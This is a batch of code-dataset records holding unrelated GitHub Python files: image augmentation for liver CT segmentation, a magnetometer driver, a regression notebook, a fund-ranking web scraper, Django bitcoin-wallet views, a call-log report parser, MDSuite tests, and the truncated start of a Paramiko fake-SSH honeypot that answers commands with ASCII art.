np.random.uniform(val_shift_limit[0], val_shift_limit[1])\r\n v = cv2.add(v, val_shift)\r\n image = cv2.merge((h, s, v))\r\n #image = cv2.merge((s, v))\r\n image = cv2.cvtColor(image, cv2.COLOR_HSV2BGR)\r\n\r\n return image\r\n\r\ndef randomShiftScaleRotate(image, mask,\r\n shift_limit=(-0.0, 0.0),\r\n scale_limit=(-0.0, 0.0),\r\n rotate_limit=(-0.0, 0.0), \r\n aspect_limit=(-0.0, 0.0),\r\n borderMode=cv2.BORDER_CONSTANT, u=0.5):\r\n if np.random.random() < u:\r\n height, width, channel = image.shape\r\n\r\n angle = np.random.uniform(rotate_limit[0], rotate_limit[1])\r\n scale = np.random.uniform(1 + scale_limit[0], 1 + scale_limit[1])\r\n aspect = np.random.uniform(1 + aspect_limit[0], 1 + aspect_limit[1])\r\n sx = scale * aspect / (aspect ** 0.5)\r\n sy = scale / (aspect ** 0.5)\r\n dx = round(np.random.uniform(shift_limit[0], shift_limit[1]) * width)\r\n dy = round(np.random.uniform(shift_limit[0], shift_limit[1]) * height)\r\n\r\n cc = np.math.cos(angle / 180 * np.math.pi) * sx\r\n ss = np.math.sin(angle / 180 * np.math.pi) * sy\r\n rotate_matrix = np.array([[cc, -ss], [ss, cc]])\r\n\r\n box0 = np.array([[0, 0], [width, 0], [width, height], [0, height], ])\r\n box1 = box0 - np.array([width / 2, height / 2])\r\n box1 = np.dot(box1, rotate_matrix.T) + np.array([width / 2 + dx, height / 2 + dy])\r\n\r\n box0 = box0.astype(np.float32)\r\n box1 = box1.astype(np.float32)\r\n mat = cv2.getPerspectiveTransform(box0, box1)\r\n image = cv2.warpPerspective(image, mat, (width, height), flags=cv2.INTER_LINEAR, borderMode=borderMode,\r\n borderValue=(\r\n 0, 0,\r\n 0,))\r\n mask = cv2.warpPerspective(mask, mat, (width, height), flags=cv2.INTER_LINEAR, borderMode=borderMode,\r\n borderValue=(\r\n 0, 0,\r\n 0,))\r\n\r\n return image, mask\r\n#水平翻转\r\ndef randomHorizontalFlip(image, mask1, u=0.5):\r\n \r\n if np.random.random() < u:\r\n image = cv2.flip(image, 1)\r\n mask1 = cv2.flip(mask1, 1)\r\n \r\n return image, mask1\r\n#垂直翻转\r\ndef randomVerticleFlip(image, mask1, u=0.5):\r\n \r\n if np.random.random() < u:\r\n image = cv2.flip(image, 0)\r\n mask1 = cv2.flip(mask1, 0)\r\n \r\n return image, mask1\r\n\r\n#顺时针90\r\ndef randomRotate90_Clockwise(image, mask1, u=0.5):\r\n \r\n if np.random.random() < u:\r\n image=np.rot90(image)\r\n mask1=np.rot90(mask1)\r\n \r\n return image, mask1\r\n\r\n#逆时针90\r\ndef randomRotate90_Clockwise(image, mask1, u=0.5):\r\n \r\n if np.random.random() < u:\r\n image=np.rot90(image,-1)\r\n mask1=np.rot90(mask1,-1)\r\n \r\n return image, mask1\r\n\r\n\r\n\r\n\r\n#处理LITS图像\r\nmask = \"./data/LITS_train/batch2/liver_target\"\r\n\r\nliver = \"./data/LITS_train/batch2/raw\"\r\n\r\nls_liver = os.listdir(liver)\r\n#print(ls_liver)\r\nn = len(ls_liver)\r\n\r\nmask_save = \"./data/LITS_train/batch2/liver_target_transform\"\r\nliver_save = \"./data/LITS_train/batch2/raw_transform\"\r\n\r\nfor i in range(n):\r\n print(\"{}/{}\".format(i+1,n))\r\n root_liver = os.path.join(liver,str(ls_liver[i]))\r\n \r\n root_mask = os.path.join(mask,str(ls_liver[i]))\r\n img = cv2.imread(root_liver)\r\n mask1 = cv2.imread(root_mask)\r\n\r\n\r\n img,mask1 = randomRotate90_Clockwise(img,mask1)\r\n img,mask1 = randomRotate90_Clockwise(img,mask1)\r\n img,mask1 = randomHorizontalFlip(img,mask1)\r\n img,mask1 = randomVerticleFlip(img,mask1)\r\n\r\n img = Image.fromarray(img)\r\n mask1 = Image.fromarray(mask1)\r\n\r\n root_liver_save = os.path.join(liver_save,str(ls_liver[i]))\r\n root_mask_save = os.path.join(mask_save,str(ls_liver[i]))\r\n img.save(root_liver_save)\r\n mask1.save(root_mask_save)\r\n\r\n\r\n\r\n'''\r\n#处理医院数据\r\n\r\nroot = \"./data/tri\"\r\nall_name = os.listdir(root)\r\nfor name in all_name:\r\n \r\n liver_dir = os.path.join(root,name,\"bmp\")\r\n mask_dir = os.path.join(root,name,\"mask_bw\")\r\n ls_liver = os.listdir(liver_dir)\r\n ls_mask = os.listdir(mask_dir)\r\n\r\n length = len(ls_liver)\r\n\r\n \r\n for i in range(length):\r\n print(\"{}/{}/{}\".format(name,i+1,length))\r\n root_liver = os.path.join(liver_dir,ls_liver[i])\r\n root_mask = os.path.join(mask_dir,ls_mask[i])\r\n\r\n img = cv2.imread(root_liver)\r\n mask1 = cv2.imread(root_mask)\r\n\r\n img,mask1 = randomRotate90_Clockwise(img,mask1)\r\n img,mask1 = randomRotate90_Clockwise(img,mask1)\r\n img,mask1 = randomHorizontalFlip(img,mask1)\r\n img,mask1 = randomVerticleFlip(img,mask1)\r\n img = Image.fromarray(img)\r\n mask1 = Image.fromarray(mask1)\r\n\r\n root_liver_save = os.path.join(liver_dir,\"liver (%d).bmp\"%(length+i+1))\r\n root_mask_save = os.path.join(mask_dir,\"liver (%d).bmp\"%(length+i+1))\r\n img.save(root_liver_save)\r\n mask1.save(root_mask_save)\r\n'''\r\n","repo_name":"SUST-reynole/SGUNet","sub_path":"transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":5925,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"4757185181","text":"import time\nimport numpy as np\nimport math\n\nclass IMU:\n\n\t#class constants\n\tADDRESS_I2C_MPU=0x68\n\tADDRESS_I2C_AK=0x0C\n\tREGISTER_INT_PIN_CFG=0x37 #bypass register\n\tREGISTER_INT_ENABLE = 0x38\n\n\tAK8963_14BIT = 0x00\n\tAK8963_16BIT = (0x01 << 4)\n\tREGISTER_AK8963_CNTL1=0x0A\n\t\n\tREGISTER_WHO_AM_I_MPU=0x75\n\tREGISTER_WHO_AM_I_AK=0x00\n\tREGISTER_AK8963_ASAX=0x10\n\t#REGISTER_AK8963_ASAY=0x11\n\t#REGISTER_AK8963_ASAZ=0x12\n\tREGISTER_PWR_MGMT_1=0x6B\n\tREGISTER_MAGNET_DATA = 0x03\n\tAK8963_BIT_14=0x00\n\tAK8963_BIT_16=0x01\n\tAK8963_8HZ = 0x02\n\tAK8963_100HZ = 0x06\n\t## Continous data output 100Hz\n\tAK8963_MODE_C100HZ = 0x06\n\tDECLINATION_DEGREES=11.8 #magnetic reading - (declination with East as positive) = true north\n\n\tdef __init__(self):\n\t\timport wiringpi as wpi\n\t\tself.wpi=wpi\n\t\tself.scale=[0,0,0]\n\t\tself.file_descriptor=self.initInterface()\n\t\tself.configure()\n\t\t\n\t#configure the IMU with default settings\n\t#returns wiringpi pointer to IMU device\n\t#returns None if device fails to initialize\n\tdef initInterface(self):\n\t\twpi=self.wpi\n\t\tself.file_descriptor_mpu=wpi.wiringPiI2CSetup(self.ADDRESS_I2C_MPU)\n\t\t#self.wpi.wiringPiI2CWriteReg8(self.file_descriptor_mpu,self.REGISTER_PWR_MGMT_1, 0x00) # turn sleep mode off\n\t\t#time.sleep(0.2)\n\t\tself.wpi.wiringPiI2CWriteReg8(self.file_descriptor_mpu,self.REGISTER_INT_PIN_CFG, 0x02)\n\t\t#self.wpi.wiringPiI2CWriteReg8(self.file_descriptor_mpu,self.REGISTER_INT_ENABLE, 0x01)\n\t\ttime.sleep(0.1)\n\t\t#without setting the bypass, the magnetometer appears to not exists\n\t\t# ... because reasons ...\n\t\t\n\t\tfile_descriptor_ak=wpi.wiringPiI2CSetup(self.ADDRESS_I2C_AK)\n\t\treturn file_descriptor_ak\n\n\tdef configure(self): #init registers\n\t\tfor rep in range(8):\n\t\t\tself.wpi.wiringPiI2CWriteReg8(self.file_descriptor, self.REGISTER_AK8963_CNTL1, 0x00)\n\t\ttime.sleep(0.1)\n\t\tfor rep in range(3):\n\t\t\tdata = self.wpi.wiringPiI2CReadReg8(self.file_descriptor, self.REGISTER_AK8963_ASAX+rep)\n\t\t\tself.scale[rep]=(data - 128) / 256.0 + 1.0\n\t\t\tprint(\"scale \",rep,\": \",self.scale[rep])\n\t\t\t\n\t\tself.wpi.wiringPiI2CWriteReg8(self.file_descriptor, self.REGISTER_AK8963_CNTL1, 0x16) #0x12\n\n\t#queries WHO AM I register, a static value that is the same for every IMU of this model\n\tdef whoAmI(self):\n\t\treturn self.wpi.wiringPiI2CReadReg8(self.file_descriptor,self.REGISTER_WHO_AM_I_AK)\n\n\t#queries the MPU-9250A I2C device for magnetic field measurements\n\t#combines the measurements from the horizontal plane into a\n\t#singular DOUBLE measuring degrees [0-360) clockwise from magnetic North\n\tdef getHeading(self):\n\t\twpi=self.wpi\n\t\timu_pointer=self.file_descriptor\n\t\t#TODO, implement code to fetch reading and convert to degrees CW from north\n\t\t\n\t\t#print(\"Status1: \",hex(self.wpi.wiringPiI2CReadReg8(self.file_descriptor,0x02)))\n\t\t#print(\"Status2: \",hex(self.wpi.wiringPiI2CReadReg8(self.file_descriptor,0x09)))\n\t\t#print(\"Control1: \",hex(self.wpi.wiringPiI2CReadReg8(self.file_descriptor,0x0A)))\n\t\t#print(\"Control2: \",hex(self.wpi.wiringPiI2CReadReg8(self.file_descriptor,0x0B)))\n\t\tfor reg in [0x09]:#[0x02,0x09,0x0A,0x0B]:\n\t\t\tdiscard=self.wpi.wiringPiI2CReadReg8(self.file_descriptor,reg)\n\t\t\tdiscard=self.wpi.wiringPiI2CReadReg8(self.file_descriptor,reg)\n\t\t\n\t\tdata=np.zeros(3)\n\t\treg_offset=0\n\t\tfor dim in range(3):\n\t\t\treg=self.REGISTER_MAGNET_DATA+2*dim\n\t\t\tlow=self.wpi.wiringPiI2CReadReg8(self.file_descriptor,reg)\n\t\t\thigh=self.wpi.wiringPiI2CReadReg8(self.file_descriptor,reg+1)\n\t\t\tcombo=high<<8|low\n\t\t\tif(combo>=(1<<15)):\n\t\t\t\tcombo-=(1<<16)\n\t\t\t#low=self.wpi.wiringPiI2CReadReg8(self.file_descriptor,reg)\n\t\t\t#temp=self.wpi.wiringPiI2CReadReg8(self.file_descriptor,reg)\n\t\t\t#print(hex(reg),\": \",combo)\n\t\t\tdata[dim]=combo\n\t\t#print(\"Control1: \",hex(self.wpi.wiringPiI2CReadReg8(self.file_descriptor,0x0A)))\n\t\tdiscard=self.wpi.wiringPiI2CReadReg8(self.file_descriptor,0x0A)\n\t\t\n\t\t#x = self.conv(data[1], data[0]) * self.scale[0]\n\t\t#y = self.conv(data[3], data[2]) * self.scale[1]\n\t\t#z = self.conv(data[5], data[4]) * self.scale[2]\n\t\tx = data[0] * self.scale[0]\n\t\ty = data[1] * self.scale[1]\n\t\tz = data[2] * self.scale[2]\n\t\t\n\t\t#angle=math.atan2(x,y)*180/3.1415\n\t\t\n\t\treturn [x,y,z]\n\t\t\n\tdef conv(self, msb, lsb):\n\t\t\"\"\"\n\t\thttp://stackoverflow.com/questions/26641664/twos-complement-of-hex-number-in-python\n\t\t\"\"\"\n\t\tvalue=msb*(1<<8)+lsb\n\t\tif(value>=(1<<15)):\n\t\t\tvalue-=(1<<15)\n\t\t#print(\"value: \",value,\" < \",(1<<15))\n\t\t#value = lsb | (msb << 8)\n\t\t# if value >= (1 << 15):\n\t\t# \tvalue -= (1 << 15)\n\t\t# print(lsb, msb, value)\n\t\treturn value\n\t\t\n\t@staticmethod\n\tdef build_test():\n\t\tprint(\"IMU Build Test...\")\n\t\timu=IMU()\n\t\tprint(\"File Descriptor Opened: \",\"PASS\" if imu.file_descriptor>=0 else \"FAIL\")\n\t\tprint(\"Who am I Test: \",hex(imu.whoAmI()),\", PASS\" if 0x48==imu.whoAmI() else \", FAIL\")#71\n\t\twhile(True):\n\t\t#for rep in range(50):\n\t\t\tprint(\"Magnetic Heading: \",imu.getHeading())\n\t\t\ttime.sleep(0.1)\n\nif __name__ == \"__main__\":\n\tprint(\"START\")\n\tIMU.build_test()\n\tprint(\"DONE\")\n","repo_name":"scottalmond/VKCRobot","sub_path":"src/drivers/periphreals/imu.py","file_name":"imu.py","file_ext":"py","file_size_in_byte":4852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10163956069","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.model_selection import train_test_split\nimport warnings\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\nwarnings.filterwarnings('ignore')\n\n\ndf = pd.read_csv('USA_Housing_linear_regression.csv')\n\n\ndf = df.drop(columns=['Address'])\ndf.head()\n\n\ndf.shape\n\n\nx_train, x_test, y_train, y_test = train_test_split(df[['Avg. Area Income', 'Avg. Area House Age', 'Avg. Area House Age', 'Avg. Area Number of Bedrooms', 'Area Population']], df['Price'], test_size=0.2)\n\n\nregressor = LinearRegression()\n\n\nregressor.fit(x_train, y_train)\n\n\nregressor.coef_\n\n\ny_pred = regressor.predict(x_test)\n\n\nprint(round(mean_squared_error(y_pred, y_test)))\n\n\nprint(round(mean_absolute_error(y_pred, y_test)))\n\n\npred_df = pd.DataFrame({'y_pred':y_pred,\n 'y_test':y_test})\n\n\npred_df\n\n\npred_df = pred_df.sort_index()\n\n\npred_df.plot(y='y_pred', kind='line', figsize=(17, 8))\npred_df.plot(y='y_test', kind='line', figsize=(17, 8), color='red')\nplt.show()\n\n\nplt.figure(figsize=(10, 8), dpi=80)\nsns.pairplot(pred_df, kind='reg')\n\n\n\n\n\n","repo_name":"DaniilSergeev17/Danilkas","sub_path":"Итоговый проект linear_regressioin.py","file_name":"Итоговый проект linear_regressioin.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19674354319","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport pandas as pd\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.chrome.options import Options\nservico = Service(ChromeDriverManager().install())\ndriver = webdriver.Chrome(service=servico)\n\n\n# In[2]:\n\n\ndriver.get(\"https://www.fundsexplorer.com.br/ranking\")\n\n#tabela = driver.find_element(By.ID, 'table-ranking').text\n#print(tabela)\n\nfundo1 = driver.find_element(\"xpath\",'//*[@id=\"table-ranking\"]/tbody/tr[1]').text\nfundo2 = driver.find_element(\"xpath\",'//*[@id=\"table-ranking\"]/tbody/tr[2]').text\nfundo3 = driver.find_element(\"xpath\",'//*[@id=\"table-ranking\"]/tbody/tr[3]').text\nfundo4 = driver.find_element(\"xpath\",'//*[@id=\"table-ranking\"]/tbody/tr[4]').text\nfundo5 = driver.find_element(\"xpath\",'//*[@id=\"table-ranking\"]/tbody/tr[5]').text\nfundo6 = driver.find_element(\"xpath\",'//*[@id=\"table-ranking\"]/tbody/tr[6]').text\nfundo7 = driver.find_element(\"xpath\",'//*[@id=\"table-ranking\"]/tbody/tr[7]').text\nfundo8 = driver.find_element(\"xpath\",'//*[@id=\"table-ranking\"]/tbody/tr[8]').text\nfundo9 = driver.find_element(\"xpath\",'//*[@id=\"table-ranking\"]/tbody/tr[9]').text\nfundo10 = driver.find_element(\"xpath\",'//*[@id=\"table-ranking\"]/tbody/tr[10]').text\n\n#transformando em lista\ntabelaInvest1 = []\ntabelaInvest1.append(fundo1)\nprint(tabelaInvest1)\n\ntabelaInvest2 = []\ntabelaInvest2.append(fundo2)\n\ntabelaInvest3 = []\ntabelaInvest3.append(fundo3)\n\ntabelaInvest4 = []\ntabelaInvest4.append(fundo4)\n\ntabelaInvest5 = []\ntabelaInvest5.append(fundo5)\n\ntabelaInvest6 = []\ntabelaInvest6.append(fundo6)\n\ntabelaInvest7 = []\ntabelaInvest7.append(fundo7)\n\ntabelaInvest8 = []\ntabelaInvest8.append(fundo8)\n\ntabelaInvest8 = []\ntabelaInvest8.append(fundo8)\n\ntabelaInvest9 = []\ntabelaInvest9.append(fundo9)\n\ntabelaInvest10 = []\ntabelaInvest10.append(fundo10)\n\n#lista Geral\nprincipaisFundos = [tabelaInvest1, tabelaInvest2, tabelaInvest3, tabelaInvest4, tabelaInvest5, tabelaInvest6, tabelaInvest7, tabelaInvest8, tabelaInvest9, tabelaInvest10]\n\n\n# In[3]:\n\n\ndf = pd.DataFrame(principaisFundos)\ndf\n\n\n# In[4]:\n\n\n#salvando os dados tratados como csv.\ndf.to_csv('FundosFonte/FundosImobiliarios.csv', index = False)\n\n\n# In[5]:\n\n\nFundosAtualizados = pd.read_csv('FundosFonte/FundosImobiliarios.csv', sep =' ')\n\n\n# In[6]:\n\n\n#Separando o CSV por espaço vazio, dessa forma pude ver cada dado no arquivo.\nFundosFinal = FundosAtualizados['0'].str.split(' ',expand = True)\nFundosFinal\n\n\n# In[7]:\n\n\n#como se trata apenas de um view ao renomear a coluna ela se uni denovo.\n#FundosFinal.rename(columns = {'0': 'Código do Fundo'})\n#FundosFinal\n\n\n# In[8]:\n\n\nFundosFinal.to_csv('FundosFonte/FundosImobiliariosFinal.csv', index = False)\n\n\n# In[9]:\n\n\nFundosProntos = pd.read_csv('FundosFonte/FundosImobiliariosFinal.csv', sep =',')\nFundosProntos\n\n\n# In[10]:\n\n\nFundosProntos.drop(columns=['6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26', '27', '28','29','30','31','32'], inplace=True)\n\n\n# In[11]:\n\n\nFundosProntos\n\n\n# In[12]:\n\n\nFundosTratados = FundosProntos.rename(columns = {'0': 'Fundo','1': 'Setor','2':'Moeda','3':'Preço Atual','4':'Liquidez Diaria','5':'Dividendo'})\nFundosTratados\n\n\n# In[13]:\n\n\nFundosTratados.to_csv('FundosFonte/FundosImobiliariosTratados.csv', sep=';') \n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Josue185/tratamento_dados_fundsexplorer","sub_path":"Fundos_imobiliarios.py","file_name":"Fundos_imobiliarios.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71458658347","text":"from django.shortcuts import render,redirect\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\n\nfrom bitcoinlib.services.services import Service\nfrom bitcoinlib.transactions import Transaction\nfrom bitcoinlib.wallets import Wallet as Lib_wallet\n\nfrom bitcoinlib.services.blockchaininfo import BlockchainInfoClient as BInfo\n\nfrom .models import Wallet\n\ndef _get_tx_type(request, txid, address):\n \"\"\"A helper function to determine if a tx (transaction) is credit or debit\"\"\"\n service=Service()\n try:\n #get the tx \n tx=service.gettransaction(txid)\n #convert the tx object to a dictionary\n dict=tx.as_dict()\n inputs=dict['inputs']\n \n for input in inputs:\n prev_txid=input['prev_txid']\n prev_t=service.gettransaction(prev_txid)\n dict2=prev_t.as_dict()\n outputs=dict2['outputs']\n for output in outputs:\n sender_address=output['address']\n break\n break\n \n if sender_address==address:\n return 'Sent'\n else:\n return 'Received'\n except AttributeError:\n #incase of coinbase tx\n return 'Received'\n \n@login_required\ndef dashboard(request):\n \"\"\"the wallet dashboard for a user\"\"\" \n user=request.user\n wallet=Wallet.objects.filter(owner=user)\n user_wallet=wallet[0]\n address=user_wallet.address\n \n #get bitcoinlib service and wallet bal \n service=Service()\n wallet_balance=service.getbalance(address)/100000000\n wallet_balance=round(wallet_balance,5)#round tp 2d.p\n \n #PS- divide by 100m above to convert sat to btc\n \n #get live btc price from api\n base_url=\" \"\n network=\"bitcoin\"\n denominator='1'\n \n client=BInfo(network=network, base_url=base_url, denominator=denominator)\n \n api_url=\"https://blockchain.info/tobtc?currency=USD&value=35000\"\n num_btc=client.compose_request(api_url)\n \"\"\"the idea is to get the value of $35,000 in btc and use ratio calcs to get the value of 1 btc in $ \"\"\"\n btc_price=35000/num_btc\n btc_price=round(btc_price,2)\n \n #wallet bal in $\n wallet_balance_dols= round(wallet_balance*btc_price,2)\n \n #get & process transactions for the user's wallet\n transaction_objects=service.gettransactions(address, limit=6)\n transactions=[ ]\n \n for transaction_object in transaction_objects:\n transaction_detail={ }\n \n dict=transaction_object.as_dict()\n amount=(dict['output_total'] - dict['fee'])/100_000_000\n hash=dict['txid']\n date=dict['date']\n status=dict['status']\n #pack tx details in 1 dict\n transaction_detail['type']= _get_tx_type(request,hash, address)\n \n transaction_detail['amount'] =round(amount,5)\n transaction_detail['hash']=hash\n transaction_detail['date']=date\n transaction_detail['status']=status\n \n transactions.append(transaction_detail)\n transactions.reverse()\n \n \n context={\n \"user\":user,\n \"user_wallet\":user_wallet,\n \"wallet_balance\":wallet_balance,\n \"btc_price\":btc_price,\n 'transactions':transactions,\n \"wallet_balance_dols\":wallet_balance_dols\n }\n \n return render(request, 'wallet/dashboard.html',context)\n\n@login_required \ndef send_page(request):\n \"\"\"return the send_page\"\"\"\n return render(request, 'wallet/send_page.html')\n\n@login_required\ndef send(request):\n \"\"\"send btc to an address provided\"\"\"\n if request.method == 'POST':\n \n #get reciever address & amount \n recipient_address=request.POST.get('recipient_address')\n #remove all whitespace\n recipient_address=\"\".join(recipient_address.split()) \n amount=float(request.POST.get('amount'))\n sat_amount=amount*100_000_000\n \n #retrieve sender name & wallet \n user=request.user\n wallet=Lib_wallet(user.username)\n #sent btc\n wallet.send_to(recipient_address,sat_amount, offline=True)\n \n context={ \n \"amount\":amount,\n \"recipient_address\":recipient_address\n }\n \n return render(request, 'wallet/send_success.html', context)\n ","repo_name":"DamyKS/8Trigrams_BTC_wallet","sub_path":"wallet/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40952657817","text":"import csv\nimport re\nfrom datetime import datetime\nfrom pprint import pprint\nfrom glob import glob\nfrom collections import namedtuple, defaultdict\n\nfrom tabulate import tabulate\n\n\n\n#class TimeRange:\n# \"\"\"\n# TimeRange('2018-07-01 10:46:27', '2018-07-01 13:16:17')\n# \"\"\"\n# def __init__(self, start, end):\n# self.start = datetime.strptime(start, '%Y-%m-%d %H:%M:%S')\n# self.end = datetime.strptime(end, '%Y-%m-%d %H:%M:%S')\n# self.timedelta = self.end - self.start\n#\n# def __repr__(self):\n# return f\"TimeRange({self.start}, {self.end})\"\n#\n#\n#def merge_calls(calls):\n# ranges = []\n# for call in calls:\n# ranges.append(TimeRange(call.start_time, call.end_time))\n# print(ranges)\n\n\nclass Caller:\n def __init__(self, fcc_caller_str):\n if '-' in fcc_caller_str:\n self.email, self.name = fcc_caller_str.split(' - ')\n else:\n self.email, self.name = '', fcc_caller_str\n\n def __repr__(self):\n return (self.__class__.__qualname__ +\n f\"(name={self.name}, email={self.email})\")\n\n def __hash__(self):\n return hash((self.email, self.name))\n\n\n\ndef convert_timestamp(timestamp):\n regex = re.compile(r'([0-9\\-]+\\s+[0-9:]+)\\s')\n return regex.search(timestamp).group(1)\n\n\ndef convert_record_timestamp(record):\n record = record._replace(\n start_time=convert_timestamp(record.start_time),\n end_time=convert_timestamp(record.end_time))\n return record\n\n\ndef organise_records_by_caller(filename):\n Record = namedtuple('Record',\n 'caller service_type start_time end_time duration')\n with open(filename) as f:\n records = [Record(*row) for row in csv.reader(f)]\n\n voip_calls_dict = defaultdict(list)\n for record in records:\n if record.service_type == 'VoIP':\n voip_calls_dict[record.caller].append(convert_record_timestamp(record))\n return voip_calls_dict\n\n\ndef merge_calls_to_single_record(calls):\n CallSummary = namedtuple('CallSummary',\n 'first_seen last_seen duration')\n sorted_calls = sorted(calls)\n first_seen = sorted_calls[0].start_time\n last_seen = sorted_calls[-1].end_time\n total_duration = sum([int(call.duration.strip('m')) for call in sorted_calls])\n return CallSummary(first_seen, last_seen, total_duration)\n\n\ndef csv_to_record_dict(csv_file):\n records_dict = organise_records_by_caller(csv_file)\n\n merged_dict = {}\n for caller_str, calls in records_dict.items():\n merged_dict[Caller(caller_str)] = merge_calls_to_single_record(calls)\n return merged_dict\n\n\ndef lecture_stats(csv_file):\n records_dict = csv_to_record_dict(csv_file)\n\n sorted_by_duration = sorted(\n records_dict.items(), reverse=True, key=lambda x: x[1].duration)\n return sorted_by_duration\n\n\ndef pprint_lecture_report(stats):\n headers = ('name', 'email', 'duration', 'first seen', 'last seen')\n report_stats = [(caller.name, caller.email, call.duration, call.first_seen, call.last_seen)\n for caller, call in stats]\n print(tabulate(report_stats, headers=headers))\n\n\n\nif __name__ == \"__main__\":\n #csv_file = 'fcc_csv_data/Conference_173035710_01_07.csv'\n csv_file = 'Conference_test_data.csv'\n\n pprint_lecture_report(lecture_stats(csv_file))\n\n'''\n$ python parse_fcc_csv_report.py\nname email duration first seen last seen\n------------------- --------------------------- ---------- ------------------- -------------------\nJane Austen jane@example.com 207 2018-07-01 09:49:33 2018-07-01 13:16:09\nAlexandre Dumas dumas1802@example.com 205 2018-07-01 09:51:18 2018-07-01 13:16:12\nMark Twain markt@example.com 199 2018-07-01 09:57:35 2018-07-01 13:16:10\nWilliam Shakespeare william@example.com 198 2018-07-01 09:58:10 2018-07-01 13:16:12\nJules Verne Jules.Verne@example.com 198 2018-07-01 09:58:13 2018-07-01 13:16:12\nHomer 40 2018-07-01 12:37:06 2018-07-01 13:16:11\nCharles Dickens charles.dickens@example.com 16 2018-07-01 13:00:20 2018-07-01 13:16:11\n'''\n\n","repo_name":"natenka/100-days-of-Python","sub_path":"talkpython-100-days/day006/parse_fcc_csv_report.py","file_name":"parse_fcc_csv_report.py","file_ext":"py","file_size_in_byte":4289,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"37"} +{"seq_id":"3408669291","text":"import os\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nimport pytest\n\nimport mdsuite as mds\n\ntemp_dir = TemporaryDirectory()\ncwd = os.getcwd()\n\n\n@pytest.fixture(autouse=True)\ndef prepare_env():\n \"\"\"Prepare temporary environment.\"\"\"\n temp_dir = TemporaryDirectory()\n os.chdir(temp_dir.name)\n\n yield\n\n os.chdir(cwd)\n temp_dir.cleanup()\n\n\ndef test_project_description():\n \"\"\"Test that the project description is stored correctly in the database.\"\"\"\n project_1 = mds.Project()\n project_1.description = \"HelloWorld\"\n\n project_2 = mds.Project()\n assert project_2.description == \"HelloWorld\"\n\n\ndef test_project_description_from_file():\n \"\"\"\n Test that the project description is stored correctly in the database if\n read from file.\n \"\"\"\n desc = Path(\"desc.md\")\n desc.write_text(\"HelloWorld\")\n\n project_1 = mds.Project()\n project_1.description = \"desc.md\"\n\n project_2 = mds.Project()\n assert project_2.description == \"HelloWorld\"\n","repo_name":"zincware/MDSuite","sub_path":"CI/unit_tests/project/test_project_database.py","file_name":"test_project_database.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"37"} +{"seq_id":"14383944676","text":"#!/usr/bin/env python\n\"\"\"Fake SSH Server Utilizing Paramiko\"\"\"\nimport argparse\nimport threading\nimport socket\nimport sys\nimport traceback\nimport paramiko\n\nLOG = open(\"logs/log.txt\", \"a\")\nHOST_KEY = paramiko.RSAKey(filename='keys/private.key')\nSSH_BANNER = \"SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3\"\n\n\ndef handle_cmd(cmd, chan):\n \"\"\"Branching statements to handle and prepare a response for a command\"\"\"\n response = \"\"\n if cmd.startswith(\"sudo\"):\n send_ascii(\"sudo.txt\", chan)\n return\n elif cmd.startswith(\"ls\"):\n response = \"pw.txt\"\n elif cmd.startswith(\"version\"):\n response = \"Super Amazing Awesome (tm) Shell v1.1\"\n elif cmd.startswith(\"pwd\"):\n response = \"/home/clippy\"\n elif cmd.startswith(\"cd\"):\n send_ascii(\"cd.txt\", chan)\n return\n elif cmd.startswith(\"cat\"):\n send_ascii(\"cat.txt\", chan)\n return\n elif cmd.startswith(\"rm\"):\n send_ascii(\"bomb.txt\", chan)\n response = \"You blew up our files! How could you???\"\n elif cmd.startswith(\"whoami\"):\n send_ascii(\"wizard.txt\", chan)\n response = \"You are a wizard of the internet!\"\n elif \".exe\" in cmd:\n response = \"Hmm, trying to access .exe files from an ssh terminal..... Your methods are unconventional\"\n elif cmd.startswith(\"cmd\"):\n response = \"Command Prompt? We only use respectable shells on this machine.... Sorry\"\n elif cmd == \"help\":\n send_ascii(\"help.txt\", chan)\n return\n else:\n send_ascii(\"clippy.txt\", chan)\n response = \"Use the 'help' command to view available commands\"\n\n LOG.write(response + \"\\n\")\n LOG.flush()\n chan.send(response + \"\\r\\n\")\n\n\ndef send_ascii(filename, chan):\n \"\"\"Print ascii from a file and send it to the channel\"\"\"\n with open('ascii/{}'.format(filename)) as text:\n chan.send(\"\\r\")\n for line in enumerate(text):\n LOG.write(line[1])\n chan.send(line[1] + \"\\r\")\n LOG.flush()\n\n\nclass FakeSshServer(paramiko.ServerInterface):\n \"\"\"Settings for paramiko server interface\"\"\"\n def __init__(self):\n self.event = threading.Event()\n\n def check_channel_request(self, kind, chanid):\n if kind == 'session':\n return paramiko.OPEN_SUCCEEDED\n return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED\n\n def check_auth_password(self, username, password):\n # Accept all passwords as valid by default\n return paramiko.AUTH_SUCCESSFUL\n\n def get_allowed_auths(self, username):\n return 'password'\n\n def check_channel_shell_request(self, channel):\n 